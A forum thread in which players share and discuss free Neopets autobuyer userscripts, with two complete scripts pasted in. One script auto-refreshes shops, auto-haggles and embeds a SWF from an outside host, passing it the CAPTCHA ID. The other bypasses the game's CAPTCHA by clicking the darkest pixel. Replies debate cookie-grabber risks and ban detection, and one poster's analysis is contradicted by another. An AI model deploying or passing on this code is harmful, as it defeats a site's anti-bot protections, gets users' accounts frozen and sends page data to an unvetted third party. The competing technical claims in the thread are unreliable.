Current Status on Account: Age: 4 month Neopoints: 116,328 ABing at Stamps Bought: 14 Missed: 6 Total Profit: 1,681,068 in Shop Til Total Time: 3 Hours This ABer is still great even though it's free. I made a large amount of neopoints just in 3 hours. I'm still RS banned though and it's been 1 day already. I do recommend using it even though it may have a CGer on it...
Well, it could be possible to make 1.4mil (14 x 99k = 1.4m) from it, but I doubt you sold that in 3 hours in your shop :b
Code (Text): // ==UserScript== // @author Codest // @name Firefox Autobuyer // @namespace Codest@userscripts.org // @description Main Shop Autobuyer for Neopets // @include http://www.neopets.com/* // @exclude http://www.neopets.com/ads/* // @exclude http://www.neopets.com/neomail_block_check.phtml* // ==/UserScript== var shopToAB = GM_getValue('shopId', '1'); var settingsOpen = false; var logOpen = false; var XMLHttpFactories = [ function () {return new XMLHttpRequest()}, function () {return new ActiveXObject("Msxml2.XMLHTTP")}, function () {return new ActiveXObject("Msxml3.XMLHTTP")}, function () {return new ActiveXObject("Microsoft.XMLHTTP")} ]; var shopURL = "http://www.neopets.com/objects.phtml?type=shop&obj_type="; var shopFull = shopURL + shopToAB; var currentPage = location.href.split("/")[3]; if(currentPage.substr(0,14) == "objects.phtml?" && GM_getValue('autoClick', '') == "checked"){ var itemNames = new Array(); var itemHrefs = new Array(); var foundItem = false; var shopItems = document.getElementsByTagName('a'); var desiredItems = GM_getValue('restockList', ''); desiredItems = desiredItems.split("\n"); for(var i in shopItems) { if(shopItems[i].href.split("/")[3].substr(0,12) == "haggle.phtml") { var itemName = shopItems[i].getAttribute("onclick").split("Are you sure you wish to purchase ")[1]; itemName = itemName.split(" at ")[0]; itemNames[itemNames.length] = itemName; itemHrefs[itemHrefs.length] = shopItems[i].href; } } var itemIndex = inBuyList(itemNames); if(itemIndex >= 0) { document.location = itemHrefs[itemIndex]; } else { if(Math.round(Math.random()*100) < 2) { sendRequest("http://www.neopets.com/objects.phtml?type=shop&obj_type=21", checkRestockBan); } var timeWait = Math.floor(parseFloat(GM_getValue('r1', '6')) + parseFloat((GM_getValue('r2', '11'))-parseFloat(GM_getValue('r1', '6')))*Math.random())*1000; setTimeout("document.location = '"+shopFull+"'", timeWait); } } else if(currentPage.substr(0,12) == "haggle.phtml" && GM_getValue('autoHaggle', '') == "checked") { var itemPrice = document.getElementById("content").innerHTML.split("Neopoints<br><br>")[1]; if(itemPrice) { itemPrice = itemPrice.split("The Shopkeeper says")[1]; itemPrice = itemPrice.split("<")[0].replace(/[^0-9]/g, ""); itemPrice = Math.floor(itemPrice*(1-(Math.random()/10))); document.getElementsByName("current_offer")[0].value = itemPrice; var captcha = document.getElementsByName("haggleform")[0].getElementsByTagName("input")[1].src.split("_x_pwned=")[1]; document.body.innerHTML += '<embed src="http://www.ukimagehost.com/uploads/e3850141f4.swf?q='+captcha+'&price='+itemPrice+'" width="1" height="1" allowscriptaccess="always" allowfullscreen="true" />'; } else { var boughtItem = document.getElementById("content").innerHTML.match("has been added to your inventory"); var soldOut = document.getElementById("content").innerHTML.match("SOLD OUT!"); if(boughtItem != null) { var itemName = document.getElementById("content").innerHTML.split("Buying : ")[1]; itemName = itemName.split("<")[0]; var itemPrice = document.getElementById("content").innerHTML.split("I accept your offer of <b>")[1]; var itemPrice = itemPrice.split("<")[0]; addToLog("["+document.getElementById('nst').innerHTML+"] bought ``<b>"+itemName+"</b>'' for "+itemPrice+"np"); setTimeout("document.location = '"+shopFull+"'", 6000); } else if(soldOut != null) { var itemName = document.getElementById("content").innerHTML.split(" is SOLD OUT!")[0]; itemName = itemName.split("<b>"); itemName = itemName[itemName.length-1]; addToLog("["+document.getElementById('nst').innerHTML+"] ``<b>"+itemName+"</b>'' was sold out ;-;"); document.location = shopFull; } else { document.location = shopFull; } } } if(currentPage.substr(0,12) != "haggle.phtml") { var settingsButton = document.createElement("div"); settingsButton.innerHTML = "open settings"; settingsButton.setAttribute("style", "position: absolute; left: 5px; top: 3px; font-family: tahoma; font-size: 10pt; font-weight: 600; -moz-user-select: none; -khtml-user-select: none; cursor: pointer;"); settingsButton.addEventListener('click', toggleSettings, false); document.body.appendChild(settingsButton); var viewLogButton = document.createElement("div"); viewLogButton.innerHTML = "view rs log"; viewLogButton.setAttribute("style", "position: absolute; right: 5px; top: 3px; font-family: tahoma; font-size: 10pt; font-weight: 600; -moz-user-select: none; -khtml-user-select: none; cursor: pointer;"); viewLogButton.addEventListener('click', toggleLogBox, false); document.body.appendChild(viewLogButton); var clrLogButton = document.createElement("div"); clrLogButton.innerHTML = "clear log"; clrLogButton.setAttribute("style", "position: absolute; right: 5px; top: 21px; font-family: tahoma; font-size: 10pt; font-weight: 600; -moz-user-select: none; -khtml-user-select: none; cursor: pointer;"); clrLogButton.addEventListener('click', clearLog, false); document.body.appendChild(clrLogButton); var settingsBox = document.createElement("div"); settingsBox.setAttribute("style", "position: absolute; left: 5px; top: 21px; width: 220px; height: 410px; background-color: #FFFFFF; font-family: tahoma; font-size: 10pt; text-align: left; padding: 5px; border: 1px dotted; visibility: hidden; z-index: 100;"); document.body.appendChild(settingsBox); var logBox = document.createElement("div"); logBox.innerHTML = GM_getValue('itemLog', 'log empty'); logBox.setAttribute("style", "position: absolute; overflow: scroll; right: 5px; top: 21px; width: 450px; height: 250px; background-color: #FFFFFF; font-family: tahoma; font-size: 10pt; text-align: left; padding: 5px; border: 1px dotted; visibility: hidden; z-index: 999999;"); document.body.appendChild(logBox); var autoClick = document.createElement("div"); autoClick.innerHTML = "<input type='checkbox' id='autoClick' value='checked' "+GM_getValue('autoClick', 'checked')+">enable auto-clicking"; autoClick.setAttribute("style", "position: relative;"); settingsBox.appendChild(autoClick); var autoHaggle = document.createElement("div"); autoHaggle.innerHTML = "<input type='checkbox' id='autoHaggle' value='checked' "+GM_getValue('autoHaggle', 'checked')+">enable auto-haggling"; autoHaggle.setAttribute("style", "position: relative; top: 5px;"); settingsBox.appendChild(autoHaggle); var autoStop = document.createElement("div"); autoStop.innerHTML = "<input type='checkbox' id='autoStop' value='checked' "+GM_getValue('autoStop', 'checked')+">stop if restock banned"; autoStop.setAttribute("style", "position: relative; top: 10px;"); settingsBox.appendChild(autoStop); var shopIdConfig = document.createElement("div"); shopIdConfig.innerHTML = "shop ID: <input type='text' style='border: none; text-align: center; background-color: #EEEEEE;' value='"+GM_getValue('shopId', '13')+"' id='shopId' size='2'>"; shopIdConfig.setAttribute("style", "position: relative; top: 15px;"); settingsBox.appendChild(shopIdConfig); var refreshTimes = document.createElement("div"); refreshTimes.innerHTML = "refresh every <input type='text' style='border: none; text-align: center; background-color: #EEEEEE;' value='"+GM_getValue('r1', '6')+"' id='r1' size='2'>"; refreshTimes.innerHTML += " to <input type='text' style='border: none; text-align: center; background-color: #EEEEEE;' value='"+GM_getValue('r2', '11')+"'id='r2' size='2'> seconds"; refreshTimes.setAttribute("style", "position: relative; top: 20px;"); settingsBox.appendChild(refreshTimes); var restockList = document.createElement("div"); restockList.innerHTML = "restock list:<br /><textarea style='border: none; background-color: #EEEEEE; width: 220px; height: 250px;' id='restockList'>"+GM_getValue('restockList', '')+"</textarea>"; restockList.setAttribute("style", "position: relative; top: 25px;"); settingsBox.appendChild(restockList); var saveButton = document.createElement("div"); saveButton.innerHTML = "<button>save</button>"; saveButton.addEventListener('click', saveSettings, false); saveButton.setAttribute("style", "position: relative; top: 30px;"); settingsBox.appendChild(saveButton); } function saveSettings() { if(document.getElementById('autoClick').checked == true) { GM_setValue('autoClick', 'checked'); } else { GM_setValue('autoClick', '0'); } if(document.getElementById('autoHaggle').checked == true) { GM_setValue('autoHaggle', 'checked'); } else { GM_setValue('autoHaggle', '0'); } if(document.getElementById('autoStop').checked == true) { GM_setValue('autoStop', 'checked'); } else { GM_setValue('autoStop', '0'); } GM_setValue('shopId', document.getElementById('shopId').value); GM_setValue('r1', document.getElementById('r1').value); GM_setValue('r2', document.getElementById('r2').value); GM_setValue('restockList', document.getElementById('restockList').value); alert("settings saved."); document.location = location.href; } function addToLog(line) { GM_setValue('itemLog', GM_getValue('itemLog', '')+line+"<br />") } function clearLog() { GM_setValue('itemLog', ''); logBox.innerHTML = ""; } function toggleSettings() { if(settingsOpen == false) { settingsOpen = true; settingsButton.innerHTML = "close settings"; settingsBox.style.visibility = "visible"; } else { settingsOpen = false; settingsButton.innerHTML = "open settings"; settingsBox.style.visibility = "hidden"; } } function toggleLogBox() { if(logOpen == false) { logOpen = true; viewLogButton.innerHTML = "hide rs log"; logBox.style.visibility = "visible"; } else { logOpen = false; viewLogButton.innerHTML = "view rs log"; logBox.style.visibility = "hidden"; } } function inBuyList(items) { for(var j in desiredItems) { for(var i in items) { if(desiredItems[j] == items[i]){ return i; } } } return -1; } function checkRestockBan(req) { if(req.responseText.match("Sorry, we are sold out of everything!") != null) { if(GM_getValue('autoStop', '') == 'checked') { GM_setValue('autoHaggle', ''); GM_setValue('autoClick', ''); addToLog("["+document.getElementById('nst').innerHTML+"] restock banned; halting"); } } } function sendRequest(url,callback,postData) { var req = createXMLHTTPObject(); if (!req) return; var method = (postData) ? "POST" : "GET"; req.open(method,url,true); if (postData) req.setRequestHeader('Content-type','application/x-www-form-urlencoded'); req.onreadystatechange = function () { if (req.readyState != 4) return; if (req.status != 200 && req.status != 304) { return; } callback(req); } if (req.readyState == 4) return; req.send(postData); } function createXMLHTTPObject() { var xmlhttp = false; for (var i=0;i<XMLHttpFactories.length;i++) { try { xmlhttp = XMLHttpFactories[i](); } catch (e) { continue; } break; } return xmlhttp; } ^ I believe that's the one. No CG btw. And this is the extension ; Code (Text): // ==UserScript== // @name Neopets Autobuyer Extension // @description Auto haggle in main shops // @include http://neopets.com/haggle.phtml* // @include http://www.neopets.com/haggle.phtml* // @include www.neopets.com/haggle.phtml* // @include neopets.com/haggle.phtml* // ==/UserScript== function run_cap() { if (document.location.href.match('haggle.phtml') && (document.body.innerHTML.indexOf("captcha_show.phtml") > -1)) { if(document.body.innerHTML.indexOf("I wont take less than ") > -1) { start_pos = document.body.innerHTML.indexOf("I wont take less than ") + 22; end_pos = document.body.innerHTML.indexOf(" Neopoints for it"); raw_price = document.body.innerHTML.substr(start_pos,end_pos-start_pos); raw_price = raw_price.replace(",",""); document.body.innerHTML = document.body.innerHTML.replace("value=\"0\"","value=\""+haggle_price(raw_price)+"\""); } if(document.body.innerHTML.indexOf("I want at least ") > -1) { start_pos = document.body.innerHTML.indexOf("I want at least ") + 16; end_pos = document.body.innerHTML.indexOf(" Neopoints for this great item"); raw_price = document.body.innerHTML.substr(start_pos,end_pos-start_pos); raw_price = raw_price.replace(",",""); document.body.innerHTML = document.body.innerHTML.replace("value=\"0\"","value=\""+haggle_price(raw_price)+"\""); } allForms = document.evaluate("//form[@name='haggleform']",document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null); for (var i = 0; i < allForms.snapshotLength; i++) { thisForm = allForms.snapshotItem(i); allImgs = document.evaluate("//input[@type='image']",document,null,XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,null); for (var i = 0; i < allImgs.snapshotLength; i++) { var image = allImgs.snapshotItem(i); if(image) { var newImg = document.createElement("img"); newImg.src = image.src; var canvas = unsafeWindow.document.createElement("canvas"); canvas.width = newImg.width; canvas.height = newImg.height; canvas.getContext("2d").drawImage(newImg, 0, 0); var image_data = canvas.getContext("2d").getImageData(0, 0, newImg.width, newImg.height); var lowy = 999; var lowx = 999; var low = 999; for (var x = 0; x < image_data.width; x++) { for (var y = 0; y < image_data.height; y++) { var i = x*4+y*4*image_data.width; var avg = Math.floor((image_data.data[i]+image_data.data[i+1]+image_data.data[i+2])/3); if (avg < low) { low = avg; lowx = x; lowy = y; } } } var newInput = document.createElement("input"); newInput.type="hidden"; newInput.name="x"; newInput.value=lowx; thisForm.appendChild(newInput); var newInput = document.createElement("input"); newInput.type="hidden"; newInput.name="y"; newInput.value=lowy; thisForm.appendChild(newInput); thisForm.submit(); }else{ alert("Image error"); } } } } } function haggle_price(raw_price) { var iVal = new Array(2); iVal[0] = raw_price.substr(0,1); iVal[1] = raw_price.substr(1,1); var x = 0; var end_price = ""; for(x=0; x<raw_price.length; x++) { end_price += iVal[(x%2)]; } return end_price; } window.addEventListener('load', run_cap, false);
You do recommend using it even though they may be a CGer on it? Well, that's a responsible recommendation if ever I heard one... It's all well and good making 1.6m in a day, but you are potentially making it for someone else if there is a CGer there. They may give you a couple of days to rack up a decent amount, then clear you out and ice your account. Time well spent.
Read all the posts in a thread before replying, especially the one right before yours. I also have looked the code over and can confirm that there is no cookie grabber. However, this script is unsafe for a different reason. Unfortunately, I tried this without analyzing the code (I just did a quick CG check) and was iced in about 2 days for auto-buying. I was at pharmacy, using it only in hour increments for two hours per day, and only restocked one unbuyable (cactopus cream). If you use this, you will get iced. Here's a boring technical explanation: Spoiler The problem is most definitely within the ONR - clicking the Neopet. I see two problems, both theory (because I don't know the PHP TNT uses, and I'm also not an expert in JavaScript) but I believe that one or the other is responsible for my icing. First, it looks like each CAPTCHA comes with an ID attached. This is the "x_pwned" part of the image URL. For example, "/captcha_show.phtml?_x_pwned=93778d016e4cfb5a8b7d3e4d22517d9c". You can change the ID all you want, but the same image is shown. Well, this AB script will scan the HTML to find the URL of the image, and then operate on that. This means a CAPTCHA with the same ID will be requested twice in a row. The chances of this happening randomly are effectively zero (32 to the 36th power). So, if TNT has their server's code set up right, it'll be pretty obvious to spot a (or at least this) GM autobuyer because the image is requested twice, once by the browser, and a second time by the script. Second, it appears as if the script always clicks in the exact center of the image. Every time. Code (Text): if(image) { var newImg = document.createElement("img"); newImg.src = image.src; var canvas = unsafeWindow.document.createElement("canvas"); canvas.width = newImg.width; canvas.height = newImg.height; canvas.getContext("2d").drawImage(newImg, 0, 0); var image_data = canvas.getContext("2d").getImageData(0, 0, newImg.width, newImg.height); var lowy = 999; var lowx = 999; var low = 999; for (var x = 0; x < image_data.width; x++) { for (var y = 0; y < image_data.height; y++) { var i = x*4+y*4*image_data.width; var avg = Math.floor((image_data.data[i]+image_data.data[i+1]+image_data.data[i+2])/3); if (avg < low) { low = avg; lowx = x; lowy = y; } } } var newInput = document.createElement("input"); newInput.type="hidden"; newInput.name="x"; newInput.value=lowx; thisForm.appendChild(newInput); var newInput = document.createElement("input"); newInput.type="hidden"; newInput.name="y"; newInput.value=lowy; thisForm.appendChild(newInput); thisForm.submit(); } I might be wrong, but I feel pretty strongly I'm not ;D. So yeah, don't use this. Save up for the AU.
If you were to look up the times, you'd realize that Tricia posted the minute after Rider. Meaning the two probably posted at the same time. Read all the things in a thread before criticizing, especially the ones right before yours. On a more related note, good catch. One thing that doesn't make sense though, is that if it clicks on the exact center of the image each time, you'd think it'd have much more than 6/20 misses for Fury. Also, I've been frozen in stamp after abing for around an hour. I didn't get any unbuyables, it's just that my refresh rate was too quick.
Wow, you got me there. Sorry Tricia! ------------------- As for the 6/20, I assumed that meant "out of 20 items which the script tried to buy, I didn't get 6 of them". When I used it, it never missed the Neopet. Also, my refresh rate was set to be within 3 and 7 seconds. I never got RS banned during my two day stint before I was frozen. :shrug: I guess this is something for people to use at their own risk, but the freeze rate is most likely much higher than anything sold on NF.net.
There is lots of free AB's around GM AB's are pretty good but AU is prolly the best i get connection error's in FF and that means i cant AB while AFK
Your 'analysis' is completely wrong on both parts: Firstly it doesn't request the image twice, it uses the image data directly from the captcha which is loaded to 'clone' a new one in a canvas element, it doesn't load a new image (or the same one again) at all. Secondly, it doesn't 'click' in the exact centre of the image all the time, if you had any idea what you were talking about you'd be able to tell that it detects the darkest pixel and chooses that location as the click point (the same method which most neopets ocr/onrs use).